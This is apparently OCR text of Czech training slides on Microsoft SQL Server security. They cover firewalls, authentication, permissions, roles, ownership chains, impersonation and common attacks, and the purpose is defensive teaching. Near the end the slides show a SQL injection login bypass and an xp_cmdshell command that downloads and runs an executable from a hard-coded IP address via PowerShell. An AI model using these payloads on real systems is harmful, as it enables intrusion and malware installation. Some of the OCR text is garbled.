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Zabezpeceni Microsoft SQL Serveru

= Bezpecnost dat ulozenych na Microsoft SQL Serveru (Azure SQL
Database) je zajistena nekolika vrstvami souvisejicich technologii

NETWORK SECURITY

ACCESS MANAGEMENT

THREAT PROTECTION

CUSTOMER DATA

Zdroj: https://docs.microsoft.com/en-us/azure/sql-database/sql-database-security-overview



https://docs.microsoft.com/en-us/azure/sql-database/sql-database-security-overview

Network Security

= Omezeni sitoveho pristupu k Microsoft SQL Serveru na vybrané
porty s pomoci firewallu
— Vychozi instance — TCP/IP 1433
— Pojmenovana instance — vlastni port + SQL Browser (UDP 1434)
— Azure SQL Database ma zabudovany firewall + izolace pomoci VNET

= Nemoznost nezadoucich klientu se fyzicky pripojit

= Minimalizace pristupu ke zranitelnostem mimo samotny SQL Server
— Kdyz nekdo ovladne operacni systém, ovladne i cely databazovy engine



Access Management

= Autentizace
— Prihlaseni se k instanci SQL Serveru (login) a nasledné do databaze (user)
— Podpora SQL ovéerovani i Windows overovani (Azure AD ovéerovani)

= Autorizace
— Omezeni pristupu k objektum a datum na zakladée pridelenych opravnéeni

— Pridelujte vzdy nejmensi nutna opravneni (pozor na role sysadmin a
db_owner)

— Neprideélujte zbytecna servervova opravnéeni
— Prava nepridelujte primo uzivateli, ale roli, které je uzivatel clenem



Threat Protection

= SQL Audit + Data Classification
— Monitorovani podezrelé aktivity na SQL Serveru

= SQL Vulnerability Assessment
— ldentifikace potencialnich zranitelnosti z duvodu nevhodné konfigurace

= Advanced Threat Protection

— SQL Server on Azure Arc-enabled servers nebo Azure SQL Database
— Automaticka analyza a vyhodnoceni posbiranych bezpecnostnich udalosti
— Generovani upozorneni na potencialni utoky

Dalsi informace: https://learn.microsoft.com/en-us/sql/sql-server/azure-arc/overview?view=sql-server-ver16



https://learn.microsoft.com/en-us/sql/sql-server/azure-arc/overview?view=sql-server-ver16

Information Protection

= Transport Layer Security (Encryption-in-transit)

— Vynuceni sifrovanych spojeni na Microsoft SQL Server Ci Azure SQL Database
— Obrana pred odposlechnutim nebo zménou komunikace

= Transparent Data Encryption (Encryption-at-rest)
— Vynucene sifrovani datovych stranek a transakcniho logu
— Ochrana pred offline utokem na datové soubory ci zalohy databaze

— Ochrana vybranych citlivych Udaji pred administratorem a provozovatelem, kteri k
temto udajum nepotrebuji mit pristup

— Data jsou desifrovana az klientskou aplikaci

Dalsi informace: Zaznam prednasky Microsoft SQL Server Encryption



https://www.wug.cz/zaznamy/622-SQL-Server-Bootcamp-2020-Microsoft-SQL-Server-Encryption
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Klicové pojmy bezpecnostniho modelu

= Principal
— |dentita autentizovaného uzivatele proti instanci SQL Serveru nebo databazi

= Securable
— Zdroj, ke kterému omezujeme pristup

= Permission

— Opravneéni k provedeni urcite operace, kterou lze spustit nad securable
objektem

GRANT SELECT ON Person.Person TO HR reader

1 1 1

Permission Securable Principal



Dva bezpecnostni modely
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Zdroj: https://aka.ms/sql-permissions-poster


https://aka.ms/sql-permissions-poster

Specialni uc¢ty dbo a guest
= V kazde databazi existuji 2 specialni uzivatelé:

= dbo

— Na tohoto uzivatele se mapuje vlastnik databaze

— Jako tento uzivatel je prihlasen kazdy login, ktery je clenem serveroveé role
sysadmin a timto ziskava nejvyssi opravneni v databazi
= guest

- Na tohoto uzivatele se mapuji loginy, které v dané databazi nejsou primo
mapovany na uzivatele



Autentizace

= SQL Server podporuje 2 rezimy autentizace:
= SQL autentizace

— SQL Server uklada jméno uzivatele a hash jeho hesla v master databazi
— Lze zablokovat na urovni instance

— Doporucuje se pouzivat v pripadech, kdy nelze vyuzivat Windows ovérovani

= Windows autentizace

— SQL Serveru je predana identita Windows uzivatele, pod kterym je spustén
proces klienta

— Lze mapovat i Windows skupiny
- Vyhodou je absence hesla v konfiguraci aplikace

Dalsi informace: Zaznam prednasky SQL Server Windows Authentication Internals



https://www.wug.cz/zaznamy/726-SQL-Server-Bootcamp-2021-SQL-Server-Windows-Authentication-Internals

Mismatched SID

= Login je ulozen v systéemove databazi master

= Pokud migrujeme databazi na jiny server, tak preneseme uzivatele v
databazi (user), ale chybi k nim loginy na Urovni serveru

= Pro SQL loginy nestaci pouze zalozit novy login, protoze si generuje
nahodny SID a nespoji se s jiz existujicim uzivatelem

- Nikdy databazového uzivatele nemazte a znovu nezakladejte - prijde
O opravneni
= Pro Windows loginy se kopiruje SID z Windows nebo Active
Directory
— Staci pouze zalozit stejny login a vazba na uzivatele bude fungovat

Dalsi informace: Transfer logins and passwords between instances of SQL Server



https://docs.microsoft.com/en-us/troubleshoot/sql/security/transfer-logins-passwords-between-instances
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Pridéleni opravnéni

NO PERMISSION
GRANT DENY

REVOKE REVOKE

GRANTED DENIED

DENY

= Nastaveni opravnéni prikazem:
GRANT {permission} ON {securable} TO {principal}
GRANT SELECT ON Person.Person TO HR_reader

= Pozor na WITH GRANT

— Povoluje navic pravo predavat dal



Databazove role

= Databazova role je kontejner, kterému je mozne priradit opravneni v
databazi a tato opravneni zdedi clenové této role

= Je vyhodné databazova opravneni pridelovat databazovym rolim a
nikoliv primo uzivatelim
— Vyvojar je ten, kdo vi, jaka prava potrebuje dany zpusob pouziti databaze
— Uzivatele zaklada typicky az administrator pri nasazeni databaze

— Uzivatelé prichazeji a odchazeji, ale neni v Ul zadny efektivni zpUsob, jak
kopirovat opravneni

— Databazové role elegantne resi tyto problémy

— Databazova role muze byt clenem jiné databazoveé role — agregace opravnéni



Pouziti schemat

= Schéma je v databazi chapano jako bezpecnostni kontejner na
objekty
= Prava prirazena na schéma se dedi na objekty ve schématu
= Jméno objektu v databazi neni jedinecné, az kombinace jména
schématu a jmeéna objektu je jedinecna
— Pokud v dotazu uvedete jméno objektu bez schématu, tak se jedna o
nejednoznacné oznaceni objektu

— Nejprve se hleda ve vychozim schématu uzivatele, pak ve schematu dbo
= V nastaveni opravneni je treba uvést, ze objekt je typu schéma:
GRANT SELECT ON schema: :Person TO HR reader



Ownership chain

= Databaze, schémata i objekty maji svého vlastnika

= Pokud chceme zajistit, ze uzivateli zpristupnime data skrze
databazovy pohled, aniz by mel primy pristup do tabulky, tak
musime vyuzit ownership chain
- Nastava, pokud pohled i dotazové objekty vlastni stejny uzivatel

— Potom se kontroluji prava pro pristup uzivatele k pohledu, ale uz ne k dalsim
objektiim dotazovanym skrze dany pohled

— Plati i pro ulozené procedury



Impersonalizace

= Pokud na to mame opravneni, tak je mozné prepnout exekucni
kontext pod jineho uzivatele
— Je vyzadovano pravo impersonate

-- Prepnuti na novou identitu
EXECUTE AS LOGIN = 'David'’

-- Navrat pod plvodni identitu
REVERT

= Ulozena procedura muze byt vytvorena s parametrem EXECUTE AS
— Vychozi chovani je EXECUTE AS CALLER

— Pouziti EXECUTE AS OWNER muze byt zpusob, jak umoznit
neprivilegovanému uzivateli bezpecne spoustét privilegovany kod
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Nejcastéjsi utoky na databaze

SQL Injection

Zcizeni prihlasovacich udaju

Man-in-the-middle utok a odposlouchavani spojeni

Prilis vysoka opravneni pri pristupu k databazi

Prilis vysoka opravneni uctu pod kterym bezi sluzba SQL Serveru




SQL Injection

= Utok, pfi kterém Gtoénik vloZi svdj spustitelny SQL kéd do toho
vaseho

= Typicky k nému dochazi, pokud spustitelny SQL kod sestavujeme

jako text vCetné vstupu uzivatele:

string sql = "SELECT * FROM Users WHERE UserName="'‘
+ txtBoxUserName + "' AND PasswordHash='" + hash(txtBoxPassword) + "'";

SELECT * FROM Users WHERE UserName='david';--' AND PasswordHash="abcd'

= Vhodna obrana je parametrizovany dotaz, protoze zde SQL Server

vi, co je nas nemenny kod a co jsou vstupy uzivatele

SELECT *
FROM Users
WHERE UserName = @UserName AND PasswordHash = @Hash

Dalsi informace: Zaznam prednasky SQL injection, jak ji mozna neznate
https://sglwiki.netspi.com/injectionTechniques/#sqlserver



https://www.wug.cz/zaznamy/506-SQL-Server-Bootcamp-2018-SQL-injection-jak-ji-mozna-neznate
https://sqlwiki.netspi.com/injectionTechniques/#sqlserver

Vysoka opravnéni uctu SQL Serveru
= Pokud SQL Server bézi pod zbytecne vysokymi opravnéenimi, tak je
moznost toho zneuzit pro utok na samotny OS

exec master..xp _cmdshell '"echo $client = New-Object System.Net.WebClient

> BTEMP%\update.psl & echo
$client.DownloadFile("http://1.15.54.23/XXnhc.exe", "%TEMP%\HNZLNLL.exe")

>> HTEMP%\update.psl & powershell -ExecutionPolicy Bypass
stempk\update.psl & WMIC process call create "ZTEMP%\HNZLNLL.exe""'

Dalsi informace: Zaznam prednasky MSA a gMSA Ucty pro béh SQL Serveru



https://www.wug.cz/zaznamy/627-SQL-Server-Bootcamp-2020-MSA-a-gMSA-ucty-pro-beh-SQL-Serveru
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